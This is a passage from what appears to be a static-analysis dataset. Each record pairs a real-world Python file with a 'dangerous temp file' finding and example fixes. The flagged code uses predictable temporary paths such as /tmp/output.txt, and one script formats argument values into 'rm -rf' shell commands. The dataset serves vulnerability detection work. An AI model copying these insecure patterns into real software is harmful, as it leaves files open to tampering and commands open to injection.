multiprocessing as mp\n\n\ndef mp_run(data, process_num, func, *args):\n \"\"\" run func with multi process\n \"\"\"\n level_start = time.time()\n partn = max(len(data) / process_num, 1)\n start = 0\n p_idx = 0\n ps = []\n while start < len(data):\n local_data = data[start:start + partn]\n start += partn\n p = mp.Process(target=func, args=(local_data, p_idx) + args)\n ps.append(p)\n p.start()\n p_idx += 1\n for p in ps:\n p.join()\n\n for p in ps:\n p.terminate()\n return p_idx\n\n\ndef read(train_data_file, test_data_file):\n behavior_dict = dict()\n train_sample = dict()\n test_sample = dict()\n user_id = list()\n item_id = list()\n cat_id = list()\n behav_id = list()\n timestamp = list()\n\n start = time.time()\n itobj = zip([train_data_file, test_data_file], [train_sample, test_sample])\n for filename, sample in itobj:\n with open(filename, 'rb') as f:\n for line in f:\n arr = line.strip().split(',')\n if len(arr) != 5:\n break\n user_id.append(int(arr[0]))\n item_id.append(int(arr[1]))\n cat_id.append(int(arr[2]))\n if arr[3] not in behavior_dict:\n i = len(behavior_dict)\n behavior_dict[arr[3]] = i\n behav_id.append(behavior_dict[arr[3]])\n timestamp.append(int(arr[4]))\n sample[\"USERID\"] = np.array(user_id)\n sample[\"ITEMID\"] = np.array(item_id)\n sample[\"CATID\"] = np.array(cat_id)\n sample[\"BEHAV\"] = np.array(behav_id)\n sample[\"TS\"] = np.array(timestamp)\n\n user_id = []\n item_id = []\n cat_id = []\n behav_id = []\n timestamp = []\n\n print(\"Read data done, {} train records, {} test records\"\n \", elapsed: {}\".format(\n len(train_sample[\"USERID\"]),\n len(test_sample[\"USERID\"]), time.time() - start))\n return behavior_dict, train_sample, test_sample\n\n\ndef gen_user_his_behave(train_sample):\n user_his_behav = dict()\n iterobj = zip(train_sample[\"USERID\"], train_sample[\"ITEMID\"],\n train_sample[\"TS\"])\n for user_id, item_id, ts in iterobj:\n if user_id not in user_his_behav:\n user_his_behav[user_id] = list()\n user_his_behav[user_id].append((item_id, ts))\n\n for _, value in user_his_behav.items():\n value.sort(key=lambda x: x[1])\n\n return user_his_behav\n\n\ndef split_train_sample(train_dir, train_sample_seg_cnt):\n segment_filenames = []\n segment_files = []\n for i in range(train_sample_seg_cnt):\n filename = \"{}/part_{}\".format(train_dir, i)\n segment_filenames.append(filename)\n segment_files.append(open(filename, 'wb'))\n\n with open(\"train_tmp\", 'rb') as fi:\n for line in fi:\n i = random.randint(0, train_sample_seg_cnt - 1)\n segment_files[i].write(line)\n\n for f in segment_files:\n f.close()\n\n os.remove(\"train_tmp\")\n\n # Shuffle\n for fn in segment_filenames:\n lines = []\n with open(fn, 'rb') as f:\n for line in f:\n lines.append(line)\n random.shuffle(lines)\n with open(fn, 'wb') as f:\n for line in lines:\n f.write(line)\n\n\ndef partial_gen_train_sample(users, user_his_behav, filename, pipe, seq_len,\n min_len):\n stat = dict()\n with open(filename, 'wb') as f:\n for user in users:\n value = user_his_behav[user]\n count = len(value)\n if count < min_len:\n continue\n arr = [0 for i in range(seq_len - min_len)] + \\\n [v[0] for v in value]\n for i in range(len(arr) - seq_len + 1):\n sample = arr[i:i + seq_len]\n f.write('{}_{}'.format(user, i)) # sample id\n f.write('\\t{}'.format(sample[-1])) # label feature\n for j in range(seq_len - 1):\n if sample[j] != 0:\n f.write(\"\\tslot_{}:{}\".format(j + 1, sample[j]))\n f.write('\\n')\n if sample[-1] not in stat:\n stat[sample[-1]] = 0\n stat[sample[-1]] += 1\n pipe.send(stat)\n\n\ndef gen_train_sample(train_sample, args):\n user_his_behav = gen_user_his_behave(train_sample)\n print(\"user_his_behav len: {}\".format(len(user_his_behav)))\n\n users = user_his_behav.keys()\n process = []\n pipes = []\n parall = args.parall\n job_size = int(len(user_his_behav) / parall)\n if len(user_his_behav) % parall != 0:\n parall += 1\n for i in range(parall):\n a, b = mp.Pipe()\n pipes.append(a)\n p = mp.Process(\n target=partial_gen_train_sample,\n args=(users[i * job_size:(i + 1) * job_size], user_his_behav,\n 'train_tmp.part_{}'.format(i), b, args.seq_len,\n args.min_seq_len))\n process.append(p)\n p.start()\n\n stat = dict()\n for pipe in pipes:\n st = pipe.recv()\n for k, v in st.items():\n if k not in stat:\n stat[k] = 0\n stat[k] += v\n\n for p in process:\n p.join()\n\n # Merge partial files\n with open(\"train_tmp\", 'wb') as f:\n for i in range(parall):\n filename = 'train_tmp.part_{}'.format(i)\n with open(filename, 'rb') as f1:\n f.write(f1.read())\n\n os.remove(filename)\n\n # Split train sample to segments\n split_train_sample(args.train_dir, args.train_sample_seg_cnt)\n return stat\n\n\ndef gen_test_sample(test_dir, test_sample, seq_len, min_seq_len):\n user_his_behav = gen_user_his_behave(test_sample)\n with open(\"{}/part-0\".format(test_dir), 'wb') as f:\n for user, value in user_his_behav.items():\n if len(value) / 2 + 1 < min_seq_len:\n continue\n\n mid = int(len(value) / 2)\n left = value[:mid][-seq_len + 1:]\n right = value[mid:]\n left = [0 for i in range(seq_len - len(left) - 1)] + \\\n [l[0] for l in left]\n f.write('{}_{}'.format(user, 'T')) # sample id\n labels = ','.join(map(str, [item[0] for item in right]))\n f.write('\\t{}'.format(labels))\n # kvs\n for j in range(seq_len - 1):\n if left[j] != 0:\n f.write(\"\\tslot_{}:{}\".format(j + 1, left[j]))\n f.write('\\n')\n\n\ndef prepare_sample_set(train_dir, sample_dir, process_num=12, feature_num=69):\n def parse_data(files, idx, feature_num=69):\n history_ids = [0] * feature_num\n samples = dict()\n process = 0\n for filename in files:\n process += 1\n print(\"process {} / {}.\".format(process, len(files)))\n with open(filename) as f:\n print(\"Begin to handle {}.\".format(filename))\n for line in f:\n features = line.strip().split(\"\\t\")\n item_id = int(features[1])\n for item in features[2:]:\n slot, feasign = item.split(\":\")\n slot_id = int(slot.split(\"_\")[1])\n history_ids[slot_id - 1] = int(feasign)\n if item_id not in samples:\n samples[item_id] = list()\n samples[item_id].append(history_ids)\n\n with open(\"parse_data_{}.json\".format(idx), 'w') as json_file:\n json.dump(samples, json_file)\n\n files = [\"{}/{}\".format(train_dir, f) for f in os.listdir(train_dir)]\n real_process_num = mp_run(files, process_num, parse_data, feature_num)\n\n num = 0\n all_samples = dict()\n for i in range(real_process_num):\n filename = \"parse_data_{}.json\".format(i)\n with open(filename, 'r') as json_file:\n each_samples = json.load(json_file)\n for key in each_samples:\n if key not in all_samples:\n all_samples[key] = []\n all_samples[key] += each_samples[key]\n num += len(each_samples[key])\n os.remove(filename)\n\n for ck in all_samples:\n with open(\"{}/samples_{}.json\".format(sample_dir, ck), 'w') as f:\n json.dump(all_samples[ck], f)\n\n\nif __name__ == '__main__':\n _PARSER = argparse.ArgumentParser(description=\"DataProcess\")\n _PARSER.add_argument(\"--train_file\", required=True, help=\"Train filename\")\n _PARSER.add_argument(\"--test_file\", required=True, help=\"Test filename\")\n _PARSER.add_argument(\n \"--item_cate_filename\",\n default=\"./Item_Cate.txt\",\n help=\"item cate filename, used to init the first tree.\")\n _PARSER.add_argument(\n \"--stat_file\", default=\"./Stat.txt\", help=\"Stat filename\")\n\n _PARSER.add_argument(\n \"--train_dir\", default=\"./train_data\", help=\"Train directory\")\n _PARSER.add_argument(\n \"--sample_dir\", default=\"./samples\", help=\"Sample directory\")\n _PARSER.add_argument(\n \"--test_dir\", default=\"./test_data\", help=\"Test directory\")\n\n _PARSER.add_argument(\n '--parall', type=int, help=\"parall process used\", default=16)\n _PARSER.add_argument(\n \"--train_sample_seg_cnt\",\n type=int,\n default=20,\n help=\"count of train sample segments file\")\n _PARSER.add_argument(\n \"--seq_len\",\n type=int,\n help=\"sequence length of the sample record\",\n default=70)\n _PARSER.add_argument(\n \"--min_seq_len\",\n type=int,\n help=\"Min length of the sample sequence record\",\n default=8)\n args = _PARSER.parse_args()\n\n os.system(\"rm -rf ./{} && mkdir -p {}\".format(args.train_dir,\n args.train_dir))\n os.system(\"rm -rf ./{} && mkdir -p {}\".format(args.test_dir,\n args.test_dir))\n os.system(\"rm -rf ./{} && mkdir -p {}\".format(args.sample_dir,\n args.sample_dir))\n\n behavior_dict, train_sample, test_sample = read(args.train_file,\n args.test_file)\n print(repr(behavior_dict))\n stat = gen_train_sample(train_sample, args)\n with open(args.stat_file, 'w') as f:\n json.dump(stat, f)\n gen_test_sample(args.test_dir, test_sample, args.seq_len, args.min_seq_len)\n\n item_cate = dict()\n for sample in [train_sample, test_sample]:\n iterobj = zip(sample[\"ITEMID\"], sample[\"CATID\"])\n for item_id, cat_id in iterobj:\n if item_id not in item_cate:\n item_cate[item_id] = cat_id\n\n with open(args.item_cate_filename, 'w') as f:\n for key in item_cate:\n f.write(\"{}\\t{}\\n\".format(key, item_cate[key]))\n\n prepare_sample_set(\n args.train_dir,\n args.sample_dir,\n args.parall,\n feature_num=args.seq_len - 1)", "dangerousExampleEn": "1. import os\n2. \n3. tmp = open(os.tmpnam(), mode='rw')\nLine 3: A temporary file is generated through os.tmpnam() function, an insecure API.", "safeExampleEn": "1. import tempfile\n2. \n3. tmp = tempfile.TemporaryFile()\nLine 3: Generate the temporary file through an secure method of tempfile module.", "contexts": [{"lineNo": 117, "eventType": "sink", "messageKey": "pythonchk.INSECURE_TEMPORARY_FILE.PYTHON.defect.badliteral", "params": {}}]}} {"id": "899013a44e40a267c3bb284827a19b25336e4635272b35950b8d24076435aae8", "license": {"spdx": ["Apache-2.0"], "repo": "deissnerk/external-dns-management", "path": "hack/generateChartOptions.py", "repo_head_hexsha": "f1e003f04ad9d19af576d8b0d037e892b687c121", "stack_hexsha": "106bc619d04ec9ede221c61b7b392e024005d45b", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Generation of Dangerous Temp File", "issueDescriptionEn": "The Generation of Dangerous Temp File checker finds instances of generating a temporary file in an improper way.\nIf a temporary file is generated with a predictable name or to be accessible to an arbitrary program, it may allow attackers to manipulate the file for program malfunctions.\nIt is recommended to name temporary files unpredictably and make them accessible only by the executing program.", "issueLineNumber": 14, "entireCode": "#!/bin/python\n# should be started from project base directory\n\n# helper script to regenerate helm chart file: partial of charts/external-dns-management/templates/deployment.yaml\n\n\nimport re\nimport os\n\nhelpFilename = \"/tmp/dns-controller-manager-help.txt\"\nrc = os.system(\"make build-local && ./dns-controller-manager --help | grep ' --' > {}\".format(helpFilename))\nif rc != 0:\n exit(rc)\nf = open(helpFilename,\"r\")\noptions = f.read()\nos.remove(helpFilename)\n\ndef toCamelCase(name):\n str = ''.join(x.capitalize() for x in re.split(\"[.-]\", name))\n str = str[0].lower() + str[1:]\n str = str.replace(\"alicloudDns\", \"alicloudDNS\")\n str = str.replace(\"azureDns\", \"azureDNS\")\n str = str.replace(\"googleClouddns\", \"googleCloudDNS\")\n str = str.replace(\"ingressDns\", \"ingressDNS\")\n str = str.replace(\"serviceDns\", \"serviceDNS\")\n str = str.replace(\"googleClouddns\", \"googleCloudDNS\")\n str = str.replace(\"cloudflareDns\", \"cloudflareDNS\")\n str = str.replace(\"infobloxDns\", \"infobloxDNS\")\n return str\n\nexcluded = {\"name\", \"help\", \"identifier\", \"dry-run\"}\nexcludedPattern = [re.compile(\".*cache-dir$\"), re.compile(\".*blocked-zone$\"), re.compile(\".*remote-access-.+\")]\n\ndef isExcluded(name):\n if name == \"\" or name in excluded:\n return True\n for prog in excludedPattern:\n if prog.match(name):\n return True\n return False\n\nfor line in options.split(\"\\n\"):\n m = re.match(r\"\\s+(?:-[^-]+)?--(\\S+)\\s\", line)\n if m:\n name = m.group(1)\n if not isExcluded(name):\n camelCase = toCamelCase(name)\n txt = \"\"\" {{- if .Values.configuration.%s }}\n - --%s={{ .Values.configuration.%s }}\n {{- end }}\"\"\" % (camelCase, name, camelCase)\n print(txt)\n\ndefaultValues = {\n \"controllers\": \"all\",\n \"persistentCache\": \"false\",\n \"persistentCacheStorageSize\": \"1Gi\",\n \"persistentCacheStorageSizeAlicloud\": \"20Gi\",\n \"serverPortHttp\": \"8080\",\n \"ttl\": 120,\n}\n\nprint(\"configuration:\")\nfor line in options.split(\"\\n\"):\n m = re.match(r\"\\s+(?:-[^-]+)?--(\\S+)\\s\", line)\n if m:\n name = m.group(1)\n if not isExcluded(name):\n camelCase = toCamelCase(name)\n if camelCase in defaultValues:\n txt = \" %s: %s\" % (camelCase, defaultValues[camelCase])\n else:\n txt = \"# %s:\" % camelCase\n print(txt)\n", "dangerousExampleEn": "1. import os\n2. \n3. tmp = open(os.tmpnam(), mode='rw')\nLine 3: A temporary file is generated through os.tmpnam() function, an insecure API.", "safeExampleEn": "1. import tempfile\n2. \n3. tmp = tempfile.TemporaryFile()\nLine 3: Generate the temporary file through an secure method of tempfile module.", "contexts": [{"lineNo": 14, "eventType": "sink", "messageKey": "pythonchk.INSECURE_TEMPORARY_FILE.PYTHON.defect.badliteral", "params": {}}]}} {"id": "824ea873534c32b890b64be6b55b6db2c84a24d5dc0e7005def258f11eef5d87", "license": {"spdx": ["MIT"], "repo": "kjkszpj/mifans", "path": "src/role_filter.py", "repo_head_hexsha": "523ea1907c7bf32cdabed129676c748eeb57e552", "stack_hexsha": "646e5dbf5f25bac61c00c886ecb35af7a68f74e5", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Generation of Dangerous Temp File", "issueDescriptionEn": "The Generation of Dangerous Temp File checker finds instances of generating a temporary file in an improper way.\nIf a temporary file is generated with a predictable name or to be accessible to an arbitrary program, it may allow attackers to manipulate the file for program malfunctions.\nIt is recommended to name temporary files unpredictably and make them accessible only by the executing program.", "issueLineNumber": 54, "entireCode": "import pickle\n\ndata = pickle.load(open('../data/record.pk', 'rb'))\nnamedict = pickle.load(open('../data/namedict.pk', 'rb'))\nrndict = {v:k for k, v in namedict.items()}\npickle.dump(rndict, open('../data/rndict.pk', 'wb'))\ncnt_name = {v:[0, 0, 0] for v in namedict.values()}\nfor record in data:\n for a in record[2]:\n cnt_name[a][0] += 1\n cnt_name[a][1] += 1\n for a in record[4]:\n cnt_name[a][0] += 1\n cnt_name[a][2] += 1\n for a in record[6]:\n cnt_name[a][0] += 1\n cnt_name[a][2] += 1\n for a in record[8]:\n cnt_name[a][0] += 1\n cnt_name[a][2] += 1\n\na = [[v[2], k] for k, v in cnt_name.items()]\na.sort(reverse=True)\ngood_list = []\nfor cnt, id in a:\n name = rndict[id]\n ok = True\n if name.find('@') != -1: ok = False\n if name.upper().find('HACKINGTEAM') != -1: ok = True\n if ok: good_list.append(id)\ntemp = []\nfor id in good_list:\n if (cnt_name[id][1] >= 3 and cnt_name[id][2] >= 5):\n print(cnt_name[id], id, rndict[id])\n temp.append(id)\n# print(len(temp))\n# print(len(good_list))\n\n# inf = open('../data/list.txt', 'r')\n# lines = inf.readlines()\n# print(len(lines))\n# cnt = 0\n# for line in lines:\n# [idf, idt, time] = line.split(' ')\n# idf = int(idf)\n# idt = int(idt)\n# time = int(time)\n# if idf in temp and idt in temp:\n# cnt += 1\n# print(cnt)\n\n\n#\t3d display for initial list\ntempf1 = open('../data/temp1.txt', 'w')\ntempf2 = open('../data/temp2.txt', 'w')\ntempf3 = open('../data/temp3.txt', 'w')\nfor k, v in cnt_name.items():\n if k in temp:\n tempf1.write('%d %d %d\\n' % (v[0], v[1], v[2]))\n elif k in good_list:\n tempf3.write('%d %d %d\\n' % (v[0], v[1], v[2]))\n else:\n tempf2.write('%d %d %d\\n' % (v[0], v[1], v[2]))\n print([rndict[k]] + v)\nprint(len(temp))", "dangerousExampleEn": "1. import os\n2. \n3. tmp = open(os.tmpnam(), mode='rw')\nLine 3: A temporary file is generated through os.tmpnam() function, an insecure API.", "safeExampleEn": "1. import tempfile\n2. \n3. tmp = tempfile.TemporaryFile()\nLine 3: Generate the temporary file through an secure method of tempfile module.", "contexts": [{"lineNo": 54, "eventType": "sink", "messageKey": "pythonchk.INSECURE_TEMPORARY_FILE.PYTHON.defect.badliteral", "params": {}}]}} {"id": "4cad5e89cd899952218882b96bef65d0ce6b3074a62b1a4bcd65c3fce8142690", "license": {"spdx": ["Apache-2.0"], "repo": "Jimvin/UsefulHadoopScripts", "path": "getHiveCounters.py", "repo_head_hexsha": "cf5570cb44f91cce522070d57c0c5fd3cea0dd1d", "stack_hexsha": "17401f44ffa85c8f2bef202911cfdebfa4a6f490", "match": "repo_path"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Generation of Dangerous Temp File", "issueDescriptionEn": "The Generation of Dangerous Temp File checker finds instances of generating a temporary file in an improper way.\nIf a temporary file is generated with a predictable name or to be accessible to an arbitrary program, it may allow attackers to manipulate the file for program malfunctions.\nIt is recommended to name temporary files unpredictably and make them accessible only by the executing program.", "issueLineNumber": 96, "entireCode": "#!/usr/bin/python\nimport sys\nimport requests\nimport json\nimport kerberos\n\n\"\"\"\nQueries the YARN Job History Server (JHS) for a given jobId and returns the Hive counters\nWorks with unauthenticated and SPNEGO (Kerberos) authenticated API endpoints\n\"\"\"\n\n__author__ = \"\"\n__copyright__ = \"Copyright 2016, \"\n__license__ = \"Apache License Version 2.0\"\n\n# Global configuration\nhostname=\"db-secure.local\" # Hostname of job history server\nport=\"19888\" # Job history server port number\n\n# getNegotiateString\n# Returns the Negotiate header payload for SPNEGO authentication\ndef getNegotiateString(service, hostname):\n negotiate = None\n __, krb_context = kerberos.authGSSClientInit(\"%s@%s\" % (service, hostname))\n kerberos.authGSSClientStep(krb_context, \"\")\n return kerberos.authGSSClientResponse(krb_context)\n\n# getHttpResponse\n# Attempts an unauthenticated call to url, then attempts SPNEGO auth if required\n# This does not attempt a Kerberos login, you need to kinit before running this script\ndef getHttpResponse(url):\n response = requests.get(url)\n # Check to see if the API endpoint requires Kerberos (SPNEGO) authentication\n if (response.status_code == 401 and response.headers[\"www-authenticate\"].startswith(\"Negotiate\")):\n # SPNEGO authentication required, let's get a HTTP ticket for the API\n negotiateString = getNegotiateString(\"HTTP\", hostname)\n if (negotiateString == None):\n sys.stderr.write(\"Error: Unable to get Kerberos authentication header. Did you kinit?\")\n # Build a new HTTP response using SPNEGO\n headers = {\"Authorization\": \"Negotiate \" + negotiateString}\n response = requests.get(url, headers=headers)\n return response\n\n# getHiveCounters\n# Extracts the Hive counters from the JSON received from the job history server\ndef getHiveCounters(jData):\n hiveCounters = None\n for counterGroup in jData['jobCounters']['counterGroup']:\n if counterGroup['counterGroupName'] == \"HIVE\":\n hiveCounters = counterGroup['counter']\n return hiveCounters\n\ndef main():\n if len(sys.argv) != 2:\n sys.stderr.write(\"Usage: get_counters.py \")\n exit(1)\n\n # The script takes one argument, a YARN jobId for a Hive job\n jobIds=sys.argv[1]\n \n \n allMetrics = {}\n allMetrics['hiveJobCounters'] = []\n for jobId in jobIds.split(\",\"):\n url = 'http://%s:%s/ws/v1/history/mapreduce/jobs/%s/counters' % (hostname, port, jobId)\n response = getHttpResponse(url)\n\n # We should either have a non-secure or a SPNEGO response object at this point\n if (response.status_code != 200):\n # A 404 response indicates the jobId was not found on the server\n if (response.status_code == 404):\n sys.stderr.write(\"Error: jobId %s not found on job history server\" % (jobId))\n else:\n sys.stderr.write(\"HTTP %d: Unable to get counters\" % (response.status_code))\n exit(1)\n\n jData = json.loads(response.content)\n hiveCounters = getHiveCounters(jData)\n if (hiveCounters == None):\n sys.stderr.write(\"No Hive counters in job output, was %s really a Hive job?\" % jobId)\n exit(2)\n\n metrics = {}\n counters = {}\n metrics['jobId'] = jobId\n for counter in hiveCounters:\n counters[counter['name']] = counter['totalCounterValue']\n \n metrics['jobId'] = jobId\n metrics['counters'] = counters\n allMetrics['hiveJobCounters'].append(metrics)\n\n result = \"metrics=\" + str(allMetrics) + \"\\n\"\n\n # We can log the result to a file\n f = open('/tmp/output.txt', 'a') \n f.write(result)\n f.close()\n \n # Alternatively we can write the result to stdout\n sys.stdout.write(result)\n\nif __name__ == '__main__': main()", "dangerousExampleEn": "1. import os\n2. \n3. tmp = open(os.tmpnam(), mode='rw')\nLine 3: A temporary file is generated through os.tmpnam() function, an insecure API.", "safeExampleEn": "1. import tempfile\n2. \n3. tmp = tempfile.TemporaryFile()\nLine 3: Generate the temporary file through an secure method of tempfile module.", "contexts": [{"lineNo": 96, "eventType": "sink", "messageKey": "pythonchk.INSECURE_TEMPORARY_FILE.PYTHON.defect.badliteral", "params": {}}]}} {"id": "45a82b1b34d02878307fc9b7b1023ac7fe63010daaed9de9a1e7b84c7392233b", "license": {"spdx": ["MIT"], "repo": "namanUIUC/drl_deepair", "path": "event_parsing/single_episode/utils/json_flatter.py", "repo_head_hexsha": "64d773624f6aca9494cb0cd2986b28a17dbde647", "stack_hexsha": "de30e9b320cace7f1ef073a29fdc8abc1238bc85", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Generation of Dangerous Temp File", "issueDescriptionEn": "The Generation of Dangerous Temp File checker finds instances of generating a temporary file in an improper way.\nIf a temporary file is generated with a predictable name or to be accessible to an arbitrary program, it may allow attackers to manipulate the file for program malfunctions.\nIt is recommended to name temporary files unpredictably and make them accessible only by the executing program.", "issueLineNumber": 53, "entireCode": "# Copyright 2018 Deep Air. All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS-IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n\"\"\"Parser to generate flat json file\"\"\"\n\nimport json\nimport os\nfrom os.path import basename\n\n\ndef _mangle(s):\n return s.strip()[1:-1]\n\n\ndef _keyNameFix(dictionary, filename):\n '''\n Rename all the first level keys in the dictionary to\n filename_dictionary.\n inputs:\n dictionary: a python dict()\n filename: basepath of a file (string)\n '''\n changed = []\n for key in dictionary.keys():\n if (key not in changed) and (filename not in key):\n # 'os.path.splitext(filename)[0]' will remove extension from name\n new_key = os.path.splitext(filename)[0] + '_' + key\n changed.append(new_key)\n dictionary[new_key] = dictionary.pop(key)\n\n\ndef _generateTempFile(infile):\n '''\n Generate a temporary file with fixed dictionary keys.\n inputs:\n infile: file name (string)\n '''\n with open(infile) as f:\n data = json.load(f)\n\n _keyNameFix(data, basename(infile))\n with open('temp', 'w') as f:\n json.dump(data, f, indent=2)\n\n\ndef flat_json(output_filename, input_filenames):\n '''\n Generates one file from multiple json files :\n output_filename: file name for output file (string)\n input_filenames: list of names to merge (list)\n '''\n with open(output_filename, \"w\") as outfile:\n first = True\n for infile_name in input_filenames:\n _generateTempFile(infile_name)\n with open('temp') as infile:\n if first:\n outfile.write('{')\n first = False\n else:\n outfile.write(',')\n outfile.write(_mangle(infile.read()))\n os.remove('temp')\n outfile.write('}')", "dangerousExampleEn": "1. import os\n2. \n3. tmp = open(os.tmpnam(), mode='rw')\nLine 3: A temporary file is generated through os.tmpnam() function, an insecure API.", "safeExampleEn": "1. import tempfile\n2. \n3. tmp = tempfile.TemporaryFile()\nLine 3: Generate the temporary file through an secure method of tempfile module.", "contexts": [{"lineNo": 53, "eventType": "sink", "messageKey": "pythonchk.INSECURE_TEMPORARY_FILE.PYTHON.defect.badliteral", "params": {}}]}} {"id": "d2ee56d18f3323750f94a96becedaf6d424befd46fb7c7bf4af6dd4c4cf691da", "license": {"spdx": ["MIT"], "repo": "abreukuse/ml_utilities", "path": "experiments_management.py", "repo_head_hexsha": "40d5b397e8fe77f218edb5a3eece869fc18b8d52", "stack_hexsha": "9d3c66712caecce7ff29fbdce4d9629a7230e293", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Generation of Dangerous Temp File", "issueDescriptionEn": "The Generation of Dangerous Temp File checker finds instances of generating a temporary file in an improper way.\nIf a temporary file is generated with a predictable name or to be accessible to an arbitrary program, it may allow attackers to manipulate the file for program malfunctions.\nIt is recommended to name temporary files unpredictably and make them accessible only by the executing program.", "issueLineNumber": 126, "entireCode": "\"\"\"\nRequirements:\n-----------\npyngrok==5.0.5\nmlflow==1.15.0\npandas==1.2.3\nnumpy==1.19.3\nscikit-learn==0.24.1\n\nExamples of usege can be found in the url below: \nhttps://nbviewer.jupyter.org/github/abreukuse/ml_utilities/blob/master/examples/experiments_management.ipynb\n\"\"\"\n\nimport os\nimport mlflow\nfrom pyngrok import ngrok\nimport pandas as pd\nimport numpy as np\nfrom sklearn.model_selection import train_test_split\n\ndef generate_mlflow_ui():\n \"\"\"\n Creates a remote mlflow user interface with ngrok.\n \"\"\"\n get_ipython().system_raw(\"mlflow ui --port 5000 &\")\n ngrok.kill()\n ngrok_tunnel = ngrok.connect(addr=\"5000\", proto=\"http\", bind_tls=True)\n print(\"MLflow Tracking UI:\", ngrok_tunnel.public_url, end='\\n\\n')\n\n\ndef __log_metrics(metrics,\n metric_name, \n y_train, \n y_test, \n y_estimate_train, \n y_estimate_test):\n \"\"\"\n Record a particular metric score in mlflow.\n It will be called from the __logging function.\n ---------------------------------------\n\n Parameters\n metrics: Dictionary containing the metrics names as keys and the metrics fucnctions as values.\n metrics_name: String representing the name of the metric.\n y_train and y_test: A numpy array or pandas series with the true train and test target values.\n y_estimate_train and y_estimate_test: A numpy array or pandas series with the predicted train and test target values.\n\n Return four variables representing the metrics names and values.\n \"\"\"\n # metric name\n score_name_train = f'train_{metric_name}'\n score_name_test = f'test_{metric_name}'\n\n # metric score\n score_train = metrics[metric_name](y_train, y_estimate_train)\n score_test = metrics[metric_name](y_test, y_estimate_test)\n\n if metric_name == 'rmse':\n score_train = np.sqrt(score_train)\n score_test = np.sqrt(score_test)\n\n # metric log\n mlflow.log_metric(score_name_train, score_train)\n mlflow.log_metric(score_name_test, score_test)\n\n return score_name_train, score_train, score_name_test, score_test\n\n\ndef __logging(metrics,\n y_train,\n y_test, \n y_pred_train, \n y_pred_test, \n y_proba_train=None, \n y_proba_test=None):\n \"\"\"\n Creates a dictionary with all the metrics from train and test.\n It will be called from the simple_split function.\n --------------------------------------------------------\n\n Parameters\n metrics: Dictionary containing the metrics names as keys and the metrics fucnctions as values.\n y_train and y_test: The true target values from train and test.\n y_pred_train and y_pred_test: Array with the estimate results from the algorithms.\n y_proba_train and y_proba_test: An array with the probability results from the algorithms.\n \n Returns a dictionary with metrics names and metrics results.\n \"\"\"\n metrics_scores = {}\n log_metrics_results = None\n\n for metric_name in metrics.keys():\n args = [metrics, metric_name, y_train, y_test]\n\n if metric_name not in ['auc', 'log_loss']:\n log_metrics_results = __log_metrics(*args, y_pred_train, y_pred_test)\n else:\n log_metrics_results = __log_metrics(*args, y_proba_train, y_proba_test)\n \n # Unpacking\n score_name_train = log_metrics_results[0]\n score_train = log_metrics_results[1]\n score_name_test = log_metrics_results[2]\n score_test = log_metrics_results[3]\n\n # Store the scores in a dictionary\n metrics_scores.setdefault(score_name_train, score_train)\n metrics_scores.setdefault(score_name_test, score_test)\n\n return metrics_scores\n\n\ndef data_artifacts(X_train):\n \"\"\"\n Creates and stores data artifacts like a sample of the data, the features and indices.\n ---------------------------------------------------\n\n Parameter\n X_train: The pandas data frame right before it enters the algorithm in the last but one step the pipeline.\n \"\"\"\n os.makedirs('artifacts_temp', exist_ok=True)\n \n features = list(X_train.columns)\n indices = list(X_train.index)\n \n with open('artifacts_temp/features.txt', 'w') as features_txt:\n features_txt.write(str(features))\n \n with open('artifacts_temp/indices.txt', 'w') as indices_txt:\n indices_txt.write(str(indices))\n \n X_train.head(10).to_csv('artifacts_temp/X_train_sample.csv', index=False)\n \n mlflow.log_artifacts('artifacts_temp')\n\n\ndef simple_split(*, task, \n pipeline, \n X, \n y, \n test_size, \n metrics, \n random_state,\n inverse=None):\n \"\"\"\n Split the data in train and test sets.\n -------------------------------------\n\n Parameters\n task: String indicating if it is a 'classification' or 'regression' task.\n pipeline: The sklearn pipeline to run.\n X: Dataframe with all the variables.\n y: Target.\n test_size: Size of the test data. It can be a float representing a percentage or an interger.\n metrics: Sictionary containing the metrics names as keys and the metrics fucnctions as values.\n random_state: Random number generator for the split in data.\n inverse: A function with the inverse transformation applied in the target.\n\n Returns a dictionary with metrics names and metrics results.\n \"\"\"\n X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=test_size, random_state=random_state)\n \n # Get the last but one state of the training data.\n if len(pipeline) > 1:\n X_train = pipeline[:-1].fit_transform(X_train)\n pipeline[-1].fit(X_train, y_train)\n else:\n pipeline.fit(X_train, y_train)\n\n # Collect data artifacts\n data_artifacts(X_train)\n \n \n if task == 'classification':\n y_pred_train, y_pred_test, y_proba_train, y_proba_test = None, None, None, None\n\n allowed_metrics = ['precision','recall','f1_score','accuracy','auc','log_loss']\n if not set(metrics.keys()).issubset(allowed_metrics):\n raise ValueError(f'Only these metrics are valid: {allowed_metrics}.')\n\n if any(item in allowed_metrics[-2:] for item in metrics.keys()):\n y_proba_train = pipeline[-1].predict_proba(X_train)[:,1]\n y_proba_test = pipeline.predict_proba(X_test)[:,1]\n\n if any(item in allowed_metrics[:-2] for item in metrics.keys()):\n y_pred_train = pipeline[-1].predict(X_train)\n y_pred_test = pipeline.predict(X_test)\n\n metrics_scores = __logging(metrics, \n y_train, \n y_test, \n y_pred_train, \n y_pred_test, \n y_proba_train, \n y_proba_test)\n\n elif task == 'regression':\n\n y_pred_train = pipeline[-1].predict(X_train)\n y_pred_test = pipeline.predict(X_test)\n\n if inverse:\n targets = [y_train, y_test, y_pred_train, y_pred_test]\n y_train, y_test, y_pred_train, y_pred_test = [inverse(target) for target in targets]\n\n allowed_metrics = ['rmse','mae','mape','msle','r2']\n if not set(metrics.keys()).issubset(allowed_metrics):\n raise ValueError(f'Only these metrics are valid: {allowed_metrics}.')\n\n metrics_scores = 